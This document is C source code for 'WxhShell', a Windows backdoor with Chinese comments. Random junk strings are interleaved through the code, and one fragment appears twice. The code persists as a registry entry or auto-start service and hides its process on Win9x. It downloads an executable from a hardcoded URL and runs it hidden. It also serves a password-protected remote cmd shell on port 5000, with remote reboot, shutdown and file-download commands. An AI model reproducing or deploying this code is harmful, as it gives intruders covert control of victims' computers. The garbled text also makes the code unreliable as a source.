"GetModuleBaseNameA"); 'XQ`g CF= NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <oKGD50# l}^3fQXI if (!NtQueryInformationProcess) return 0; Kemw^48ts
GY3 Wj hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;rI@*An if(!hProcess) return 0; nZ1zJpBmI 5la>a}+!!h if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .JX EK l5%G'1w#,j CloseHandle(hProcess); ,&PE6hn VLsxdwHgb hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C,V%B if(hProcess==NULL) return 0; 1sE?YJP- 8*SDiZ HMODULE hMod; qs\2Z@; char procName[255]; 9Gy unsigned long cbNeeded; +:=(#Y (YBMsh if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %V&n*3 #?MY&hdU9 CloseHandle(hProcess); JTqDr _iKq~\v2 if(strstr(procName,"services")) return 1; // 以服务启动 HD,xY4q&N .Ig+Dj{) return 0; // 注册表启动 +h^jC9,m~{ } mE O\r|A wS+V]`b // 主模块 <H3ezv1M int StartWxhshell(LPSTR lpCmdLine) q/3ziVd7p { TlAR.cV SOCKET wsl; H>Q%"| BOOL val=TRUE; &*G<a3Q int port=0; j.~!dh$mg struct sockaddr_in door; (Q[fS:U G CRz<)1 if(wscfg.ws_autoins) Install(); -U~ `.x$7!zLC port=atoi(lpCmdLine); .Xm(D>>k !f>d_RG if(port<=0) port=wscfg.ws_port; Y^Nuz/ ]3ONFa WSADATA data; r`&-9"+ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?1L.:CS [=O/1T if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; )}Q(Tl\$ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "gd=J_Yw door.sin_family = AF_INET; ^Jb
H? door.sin_addr.s_addr = inet_addr("127.0.0.1"); HS'Vi9 door.sin_port = htons(port); Er/bO Ze<K=Q%(i if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { UT~a&u closesocket(wsl); tqAd$:L return 1; s &Dg8$ } wIkN9
f (>J4^``x= if(listen(wsl,2) == INVALID_SOCKET) { tH=P6vY closesocket(wsl); !$2Z-! return 1; u4z&!MT} } fA'qd.{f^ Wxhshell(wsl); ly% F."v WSACleanup(); ob+euCuJ !8 &=y return 0; T5urZq*R +% /s*EC'w } 0CSv10Tg :^UFiUzrE // 以NT服务方式启动 'c\iK=fl VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I%|>2}-_U { ntNI]~z& DWORD status = 0; R1&unm0 DWORD specificError = 0xfffffff; =U|N=/y#hJ 1+b{}d serviceStatus.dwServiceType = SERVICE_WIN32; '|;X0fD serviceStatus.dwCurrentState = SERVICE_START_PENDING; 'mI'dG serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; '=][J_ serviceStatus.dwWin32ExitCode = 0; ~['Kgh_; serviceStatus.dwServiceSpecificExitCode = 0; /iG*)6*^k serviceStatus.dwCheckPoint = 0; Pxn,Qw* serviceStatus.dwWaitHint = 0; 1[_mEtM:]B w\)| hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oJ#,XMKga if (hServiceStatusHandle==0) return; at2FmBdu C $R<Me status = GetLastError(); nRd)++ if (status!=NO_ERROR) 4|A>b})H { zByT$P- serviceStatus.dwCurrentState = SERVICE_STOPPED; ceNix!P serviceStatus.dwCheckPoint = 0; B^).BQ serviceStatus.dwWaitHint = 0; .^J2.>. serviceStatus.dwWin32ExitCode = status; MX>[^}n serviceStatus.dwServiceSpecificExitCode = specificError; `1 :{0p2q SetServiceStatus(hServiceStatusHandle, &serviceStatus); *<1r3! return; @aJ!PV'ms } EpQ8a[<-3 ]v+31vdf:O serviceStatus.dwCurrentState = SERVICE_RUNNING; <dyewy*.L serviceStatus.dwCheckPoint = 0; 12Y serviceStatus.dwWaitHint = 0; 1+?^0%AC if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hsu{ey p } 54zlnM$ q7u'_R,; // 处理NT服务事件,比如:启动、停止 UMX@7a,[3 VOID WINAPI NTServiceHandler(DWORD fdwControl) Z{'i F { tTd\| switch(fdwControl) |bgo;J/ { !3T&4t case SERVICE_CONTROL_STOP: fM^[7;]7e serviceStatus.dwWin32ExitCode = 0; #^+DL]*l serviceStatus.dwCurrentState = SERVICE_STOPPED; "RIZV serviceStatus.dwCheckPoint = 0; 6q
2_WX serviceStatus.dwWaitHint = 0; `6+"Z=: { #c^^=Z SetServiceStatus(hServiceStatusHandle, &serviceStatus); +iOKb c' } 9@+5LZR return; VK@!lJu! case SERVICE_CONTROL_PAUSE: Q1@A2+ c serviceStatus.dwCurrentState = SERVICE_PAUSED; 9mZ break; |Ph3#^rM? case SERVICE_CONTROL_CONTINUE: "`N-* ;*W serviceStatus.dwCurrentState = SERVICE_RUNNING; \W,I?Kx$ break; KZPEG!-5 case SERVICE_CONTROL_INTERROGATE: B=|cS;bM$3 break; X$/2[o#g }; dH( ('u[ SetServiceStatus(hServiceStatusHandle, &serviceStatus); NHlk|Y#6b } uslQ*7S[^ Jmx Ko+- // 标准应用程序主函数 4@xE8`+bG int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1?Z4K/ { ;;&}5jcV -W>'^1cR // 获取操作系统版本 n_'{^6*O OsIsNt=GetOsVer(); S6fb f>[ GetModuleFileName(NULL,ExeFile,MAX_PATH); Uix6GT; Z0l+1iMx // 从命令行安装 J4Dry< if(strpbrk(lpCmdLine,"iI")) Install(); Mw9 \EhA V')0 Mr // 下载执行文件 $ImrOf^qt if(wscfg.ws_downexe) { Y`?-VaY if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Dc)dE2 WinExec(wscfg.ws_filenam,SW_HIDE); s.8{5jVG } :6%Z]tt 2;w*oop,O if(!OsIsNt) { X1~1&:V,< // 如果时win9x,隐藏进程并且设置为注册表启动 4[N^>qt = HideProc(); y!xE<S&Y StartWxhshell(lpCmdLine); 5atYOep } 8_N]e'WUh else ;| 1$Q!4 if(StartFromService()) <tioJG{OT // 以服务方式启动
O#I1V K StartServiceCtrlDispatcher(DispatchTable); z;y:9l else 3po:xMY // 普通方式启动 IsR!'%Pu StartWxhshell(lpCmdLine); !W?gR.0$= Kv~U6_=1O return 0; XC+A_"w) } S{3nM< JfPD}w G}p\8Q}' ++E3]X| =========================================== Z@r.pRr'
6^DR0sO m4*@o?Ow q:g2Zc'Y~W f7}*X|_Y Dl}$pN " O+ICol cv`~y'?D #include <stdio.h> X]'7Ov #include <string.h> ,~._}E&9I #include <windows.h> ]LM-@G+Jz #include <winsock2.h> 7x<i :x3 #include <winsvc.h> jRatm.N #include <urlmon.h> LW(6$hpPp bcupo:N #pragma comment (lib, "Ws2_32.lib") n93=8;& #pragma comment (lib, "urlmon.lib") 9YBv|A fDP$ sW #define MAX_USER 100 // 最大客户端连接数 nl9P,
d #define BUF_SOCK 200 // sock buffer ,UuH}E #define KEY_BUFF 255 // 输入 buffer CJhL)0Cs 3)RsLI9 #define REBOOT 0 // 重启 vY_-Ranj#. #define SHUTDOWN 1 // 关机 ZWS`\M W|o'& #define DEF_PORT 5000 // 监听端口 KI+VXH}Y5{ ,GgAsj: K #define REG_LEN 16 // 注册表键长度 L31|\x] #define SVC_LEN 80 // NT服务名长度 9HX =T% 0P]E6hWgg // 从dll定义API wm^J;<T[ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >+[&3u typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2;?I>~ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L{c q, jk typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); FLY
Ca ,`aq+K // wxhshell配置信息 ^,]B@t2 struct WSCFG { Sr?#S int ws_port; // 监听端口 LlSZr)X char ws_passstr[REG_LEN]; // 口令 Hik3wPnp int ws_autoins; // 安装标记, 1=yes 0=no m?&1yU9 char ws_regname[REG_LEN]; // 注册表键名 =yy5D$\ char ws_svcname[REG_LEN]; // 服务名 9`9R!=NM char ws_svcdisp[SVC_LEN]; // 服务显示名 h*<P$t char ws_svcdesc[SVC_LEN]; // 服务描述信息 wKsT7c' char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ki)#d'
} int ws_downexe; // 下载执行标记, 1=yes 0=no [VWUqlNt> char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uDZT_c'Y char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y
TDNNK Kde9
$ }; RH|XxH* /g4f`$a // default Wxhshell configuration aT`%;i^ struct WSCFG wscfg={DEF_PORT, 3Gip<\$v "xuhuanlingzhe", } GiHjzsR 1, 42qYg(tZ "Wxhshell", 'R:"5d "Wxhshell", NG6& :4! "WxhShell Service", .AU)*7Gh "Wrsky Windows CmdShell Service", pf7it5 "Please Input Your Password: ", [#sz WNfU 1, L~KM=[cn "http://www.wrsky.com/wxhshell.exe", d0,s"K7@ "Wxhshell.exe" ~JH:EB: }; Xp}Yw"7 )=etG // 消息定义模块 6w@ Ii; char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y(d$ char *msg_ws_prompt="\n\r? for help\n\r#>"; $O5UyKI char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )<Hd T char *msg_ws_ext="\n\rExit."; s
S7c! char *msg_ws_end="\n\rQuit."; y? co| char *msg_ws_boot="\n\rReboot..."; 0xXC^jx: char *msg_ws_poff="\n\rShutdown..."; E)fglYWs2 char *msg_ws_down="\n\rSave to "; s91JBP|B7 UMcgdJB char *msg_ws_err="\n\rErr!"; z.I9wQ]X[ char *msg_ws_ok="\n\rOK!"; mOlI#5H ze]h..,]K char ExeFile[MAX_PATH]; RnDt)3 int nUser = 0; 5O6hxcMjT HANDLE handles[MAX_USER]; Dv/WE>?Aw int OsIsNt;
D N*t~Z3[ eh5gjSqx SERVICE_STATUS serviceStatus; _Wa.JUbv SERVICE_STATUS_HANDLE hServiceStatusHandle; (/j); oSK W!&vul5 // 函数声明 qC?:*CXH int Install(void); aX }P|l int Uninstall(void); GF^071]G int DownloadFile(char *sURL, SOCKET wsh); 6}oXP_0U int Boot(int flag); ,9o"43D:a| void HideProc(void); yT,.z 0 int GetOsVer(void); ok4@N @ int Wxhshell(SOCKET wsl); 1{r)L{] void TalkWithClient(void *cs); RSfzRnhmr int CmdShell(SOCKET sock); ^!by3Elqqk int StartFromService(void); {7/0< NG int StartWxhshell(LPSTR lpCmdLine); Zc`BiLzrIG |UxG $M( VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `WH"%V:"Q VOID WINAPI NTServiceHandler( DWORD fdwControl ); .8G@%p{, ,5*eX // 数据结构和表定义 ksN+?E4w SERVICE_TABLE_ENTRY DispatchTable[] = }I2@%tt? { fOMW"myQ {wscfg.ws_svcname, NTServiceMain}, 9b*nLyYVz {NULL, NULL} 6<ZkJ:= }; o$Z6zm xO b^$|Nz;
// 自我安装 DY?Kfvef int Install(void) n0e1k.A { ]h5Yg/sms char svExeFile[MAX_PATH]; YS%h^>I^ HKEY key; y)@[Sl> strcpy(svExeFile,ExeFile); \0f{S40 W0]gLw9* // 如果是win9x系统,修改注册表设为自启动 5qP:/*+ if(!OsIsNt) { qDfd. gL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %GS(:]{n RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #: [<iSk RegCloseKey(key); Ch3jxgQY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U b* wuI RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uPl\I6k RegCloseKey(key); fL=~NC" return 0; -B$2\ZE } jyZWVL:_ } 9AJ7h9L } XnWr5-; else { y`XU~B)J1 wLOB}ZMT // 如果是NT以上系统,安装为系统服务 9^G/8<^^> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [+DW >Et if (schSCManager!=0) <U\B!fO' { gY8>6'~mS SC_HANDLE schService = CreateService !_cg\KU# ( p$3sME$L schSCManager, _ "VkGG wscfg.ws_svcname, e!=kWc wscfg.ws_svcdisp, 4Q6mo/=H SERVICE_ALL_ACCESS, `.Qi?* ^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &?yZv{ SERVICE_AUTO_START, VQS~\:1 SERVICE_ERROR_NORMAL, I\$X/t +dH svExeFile, cbT7CG NULL, Tap.5jHL NULL, #a8B/- NULL,
VN\W]jT NULL, (j3xAA NULL suzZdkMA ); 65aK2MS@ if (schService!=0) !74S { W|g4z7Pb CloseServiceHandle(schService); hj.a&% CloseServiceHandle(schSCManager); bKN@j'M strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <yH4HY strcat(svExeFile,wscfg.ws_svcname); J.xPv)1' if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <,e+
kL{ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v63"^%LX RegCloseKey(key); ?I~()]k5 return 0; <y NM%P<Oy } V13N}] } 70Wgg ty CloseServiceHandle(schSCManager); =t H:,SH } jGpN,/VQa } U_n9]Z ([m
mPyp>L return 1; Lja>8m } yooX$ 75/(??2 // 自我卸载 2bkX}FWd; int Uninstall(void) E{Ov>osq { "q.\>MCv HKEY key; ^Uf]Q$uCjE G'ei/Me6{ if(!OsIsNt) { [Q/TlO t5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K)DDk9* RegDeleteValue(key,wscfg.ws_regname); j;-1J_e5 RegCloseKey(key); g9Xu@N;bL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K+3IWZ&+dG RegDeleteValue(key,wscfg.ws_regname); 9{5&^RbCp RegCloseKey(key); %~2YE return 0; g|vNhq0|i } zU
gE~ } |6K+E6H } #\ X#w<\? else { rp!oO>F 4hTMbS_; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C,ARXW1 if (schSCManager!=0) \1fN0e { \b?" b SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vnM@QfN if (schService!=0) rPLm5ni { rLI8pA|. if(DeleteService(schService)!=0) { 7G}2,ueI CloseServiceHandle(schService); Y6zbo CloseServiceHandle(schSCManager); I J( return 0; <~n"m } @oV9) CloseServiceHandle(schService); <FcG
oGK } e}
P I^bc CloseServiceHandle(schSCManager); "J[K 3 } |ZRagn30 } lFV N07hG
6i.-6></ return 1; j/_s"}m{ } ]v]qChZHd jU9$Ehg
I // 从指定url下载文件 34%RZG_o' int DownloadFile(char *sURL, SOCKET wsh) 3c]b)n~Y { gT0BkwIV HRESULT hr; VFURAYS char seps[]= "/"; FrL]^59a char *token; e%@~MQ- char *file; >aj7||K char myURL[MAX_PATH]; > dI LF char myFILE[MAX_PATH]; ^h~x)@= `lO[x.[ strcpy(myURL,sURL); kT"Kyd token=strtok(myURL,seps); LSGBq while(token!=NULL) B&[M7i { W;'!gpa file=token; VcSVu token=strtok(NULL,seps); 2\jPv`Ia } LWz&YF#T- YkniiB[/ GetCurrentDirectory(MAX_PATH,myFILE); w35J.zn strcat(myFILE, "\\"); {f2S/$q strcat(myFILE, file); xp}hev^@$ send(wsh,myFILE,strlen(myFILE),0); 2(u,SQ send(wsh,"...",3,0); G IT>L hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y&d00 if(hr==S_OK) <UV1!2nv* return 0; E[@ u
3i8 else $RIecv<e_ return 1; t\{'F7 &]v4@%<J } `.FF!P:{C* M^r1S // 系统电源模块 [<g?WPCcC int Boot(int flag) .<x&IJ / { gv)P]{%^ HANDLE hToken; lOuHVa*} TOKEN_PRIVILEGES tkp; \{Z;:,S >*#1ZB_l if(OsIsNt) { 1 u| wMO OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?'@8kpb LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5q;GIw^L tkp.PrivilegeCount = 1; T92UeG tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X(]WVCu AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _wkVwPr if(flag==REBOOT) {
|)b6>.^ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sk,ox~0R return 0; mpI5J'>] } s:/8[(A else { 0=* 8
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ma.`A return 0; K9$>Yxe| } \?0&0;5 } Tx|Ir+f6L else { 9`I _Et if(flag==REBOOT) { +*ZO&yJQ^< if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6y+Kjd/D return 0; a(kg/s } @SJL\{_ else { tiB_a}5IB if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6r"eN%m return 0; _aFl_\3> } rz wF~-m + } Oiz ,w7LRh hxVKV?Fl return 1; s%C)t6`9 } B_nVP WN?O'E=2 // win9x进程隐藏模块 Hfwq/Is void HideProc(void) .S(TxksCz { cZB7fmq% Ne8Cgp HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L+Xc-uv["p if ( hKernel != NULL ) *1p|5!4c { @kpv{`Y pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \6E|pbJ}x ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !sDh4jQ` FreeLibrary(hKernel); ^?0DP>XA } PP;}e 01r 8$+ return; 8$85^Of } zVXC1u9B 6x h:/j3 // 获取操作系统版本 xy5lE+E_U int GetOsVer(void) ,&jhlZ i { J
pFfzb
OSVERSIONINFO winfo; 96 q_K84K winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0E,8R{e GetVersionEx(&winfo); 8oUpQcim if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .y_/U wu return 1; R:e<W/P" else pk?w\A} return 0; q qpgy7 } PD&\LbuG u<3HQ.:; // 客户端句柄模块 OMWbZ>jB int Wxhshell(SOCKET wsl) vwjPmOjhS { rai3<_W< SOCKET wsh; ROg(U8
N struct sockaddr_in client; 0fb`08,^ DWORD myID; ?u/@PR\D pP*zq"o while(nUser<MAX_USER) C\/xl#e<@ { o.w\l\ int nSize=sizeof(client); A?CcHw
rT wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <j&DK2u=i if(wsh==INVALID_SOCKET) return 1; P_?gq>E8 |uqf:V`z: handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #w,Dwy if(handles[nUser]==0) 7ePqmB<. closesocket(wsh); 0vEoGgY0*: else q*\x0"mS/ nUser++; p<TpK ) } ?]Pmxp
H} WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CN#+U,NZV qUjmB sB return 0; {;N,t]>8M } ]l1\? I jGXO\:sO // 关闭 socket ofPHmh` void CloseIt(SOCKET wsh) UUzYbuS>&l { =NnNN'} closesocket(wsh); i=i(%yQ% nUser--; v@Gl|29_ ExitThread(0); J)`-+}7$v } f|h|q_<; :n0vQ5a // 客户端请求句柄 bu:S:` void TalkWithClient(void *cs) ln?v
j)j { ;'5>q&[qbP 8Eakif0CO SOCKET wsh=(SOCKET)cs; ;pqg/>W' char pwd[SVC_LEN]; PJ]];MQ char cmd[KEY_BUFF]; ZAv,*5&< char chr[1]; 3&u&x( int i,j; o_@4Sl8 4US"hexE< while (nUser < MAX_USER) { ^cczJOxB c0%"&a1]]V if(wscfg.ws_passstr) { R%Q@ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bn^{c //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PV9pa/`@ //ZeroMemory(pwd,KEY_BUFF); `S6x<J&T\/ i=0; Sx?ua<`:d while(i<SVC_LEN) { jp0<pw_ S/D^ // 设置超时 R]OpQ[k fd_set FdRead; )z&/_E= struct timeval TimeOut; 2.% .Z_k) FD_ZERO(&FdRead); ^C_#<m_k FD_SET(wsh,&FdRead); ppZDGpp TimeOut.tv_sec=8; {$R' WXVs TimeOut.tv_usec=0; IB[)TZ2m int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i'9vL:3 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~~v3p>z Rr ?Lyxw] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p?B=1vn-2 pwd=chr[0]; 2Ou[u#H if(chr[0]==0xd || chr[0]==0xa) { gW-V=LV ( pwd=0; ft$RSb# break; Ag&0wN+jTM } t^6dzrF i++; =&,]Z6{> } XmEq2v i%/Jp[e\W> // 如果是非法用户,关闭 socket LG<J;&41~S if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J@4 Bf
} ^c&L,!_)H Wn(6,MDUN send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kO|L bQ@=q send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bsB*533 :/Q while(1) { \~fONBY rcMwFE?|xq ZeroMemory(cmd,KEY_BUFF); +n#V[~~8AI $e*ce94 // 自动支持客户端 telnet标准 m|{3),#V j=0; }HY-uQ%@g while(j<KEY_BUFF) { w+yC)Rmz if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F )W: cmd[j]=chr[0]; _>|
=L
W@7 if(chr[0]==0xa || chr[0]==0xd) { R~)\3] "2m cmd[j]=0; @7?#Y|` break; kg'o&^/= } {vuZ{IJa j++; ;j^H)."A\ } E=>FjCsu<- .ox8*OO< // 下载文件 %d?cP}V if(strstr(cmd,"http://")) { .7l&1C)i send(wsh,msg_ws_down,strlen(msg_ws_down),0); a{R%#e\n if(DownloadFile(cmd,wsh)) P%#<I}0C send(wsh,msg_ws_err,strlen(msg_ws_err),0); EJsM(iG]~M else vJ'2@f$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <Dwar>} } ^R# E:3e else { I~ok4L?VB h&--,A > switch(cmd[0]) { /(iFcMT N7O-2Z * // 帮助 Cn "s`
q case '?': { 1(|'WyD send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xO&eRy?% break; 8$0rR55 } \3pc"^W // 安装 /7}It$|nhy case 'i': { qYlhlHD if(Install()) T~Gvp0r}h send(wsh,msg_ws_err,strlen(msg_ws_err),0); U-R6xxPZ else #MRMNL@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )pq;*~IBI break; ,M^ P! } l]8D7(g // 卸载 m+lvl case 'r': { vSi.txV2 if(Uninstall()) 5 N#3a0) send(wsh,msg_ws_err,strlen(msg_ws_err),0); )?X-(4 else v
8$>rwB send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (=* cK-3 break; R,pX:H+ } TrLu~4 // 显示 wxhshell 所在路径 U$_xUG case 'p': { mg*qiScfW char svExeFile[MAX_PATH]; Hm%;=`:' strcpy(svExeFile,"\n\r"); ]Bjyi[#bg strcat(svExeFile,ExeFile); a{
?`t| send(wsh,svExeFile,strlen(svExeFile),0); {TX]\ufG break; 0@H|n^Md# } NhaI<J // 重启 m]5Cq6 case 'b': { F.w5S!5Q send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .HkL2m if(Boot(REBOOT)) YKO){f5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); *=+td)S/1 else { *# tJM.Z closesocket(wsh); UrYZ`J
ExitThread(0); QlO0qbG[y } RPE5K:P break; vK_?<> } a hR ^ // 关机 A-T]9f9 case 'd': { 2JJ"O|Ibz send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V3c l~ if(Boot(SHUTDOWN))
Ahk8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); E#ul IgD else { }Ub6eXf(2 closesocket(wsh); %jJ>x3$F ExitThread(0); 9hOJvQ2U] } %we u 1f break; J|w\@inQ } y5do1Z // 获取shell n~A%q,DmF case 's': { x)rM/Kq CmdShell(wsh); {j:hod@-:5 closesocket(wsh); <xgTS[k ExitThread(0); PzA|t;* break; ~~SwCXZ+b^ } MD|5 ol9 // 退出 ;S57w1PbVA case 'x': { &:, dJ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0Sgaem` CloseIt(wsh); :yeq(oK, break; dv.(7Y7.x } b+f'[; // 离开 mxz-4. case 'q': { 0el9&l9Ew send(wsh,msg_ws_end,strlen(msg_ws_end),0); &8] d }-e closesocket(wsh); ++V=s\d7 WSACleanup(); +;#Y]xy: exit(1); XI22+@d6 break; ]K/DY Do- } ],Rd ySN& } K)\M5id] } dVsE^jsL $D}{]MN. // 提示信息 Mi/&f if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =u+d_'P7-R } 2UFv9 } F@<CsgKB- ad:&$ return; 49w=XJ } Ee3hG2d` op6CA "w // shell模块句柄
*X,
/7C
int CmdShell(SOCKET sock) @ ]/AjjLt { %Mk0QKzUo STARTUPINFO si; Zxbo^W[[ ZeroMemory(&si,sizeof(si)); #1c_ev H si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H
Ge0hl[n si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DM}YJ PROCESS_INFORMATION ProcessInfo; 8[J}CdS char cmdline[]="cmd"; {6~l$ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); []A%<EI7 return 0; /k<WNZM } C\di 7 z: #@"<:!?z // 自身启动模式 AKRTBjG"
int StartFromService(void) e(I=^#u6 { hrhb!0 typedef struct Xt#4/>dlR { DXa-rk8 DWORD ExitStatus; ~R&;v3 DWORD PebBaseAddress; #_(jS+lP?k DWORD AffinityMask; t| 'N+-T3 DWORD BasePriority; `$B3X ULONG UniqueProcessId; :@!ic<p ULONG InheritedFromUniqueProcessId; l?Fb ='# } PROCESS_BASIC_INFORMATION; qfK`MhA} &d5ia+# PROCNTQSIP NtQueryInformationProcess; <~n$1aA ;d'Z|H; static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E5N{j4\F static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $.GOZqMs w);6K[+; HANDLE hProcess; aOiR l, PROCESS_BASIC_INFORMATION pbi; \@1=stK:F k:#P|z$UD HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e`v`XSA[p if(NULL == hInst ) return 0; @$2))g` %o:2^5\W g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I<8sI%,s g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |7}CQU NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a'jR#MQl? >+
4huRb if (!NtQueryInformationProcess) return 0; 9 `w) HH@qz2 w hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^>N]H>0'S if(!hProcess) return 0; h?FmBK'BAd L[20m(6? if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NbGV1q'] mBG=jI "xh CloseHandle(hProcess); BYo/57&: nYa*b=[. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6^c>,.R if(hProcess==NULL) return 0; ^+m+zd_ i6 (a@KRY HMODULE hMod; O=dJi9;`#_ char procName[255]; A6pjRxg unsigned long cbNeeded; y:vxE8$Q Wf&W^Q if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BZXUwqEh =T7A]U] CloseHandle(hProcess); 4)<~4 ' (Gw,2-A if(strstr(procName,"services")) return 1; // 以服务启动 }Iz7l{al K&U7H: return 0; // 注册表启动 `/MvQ/ } 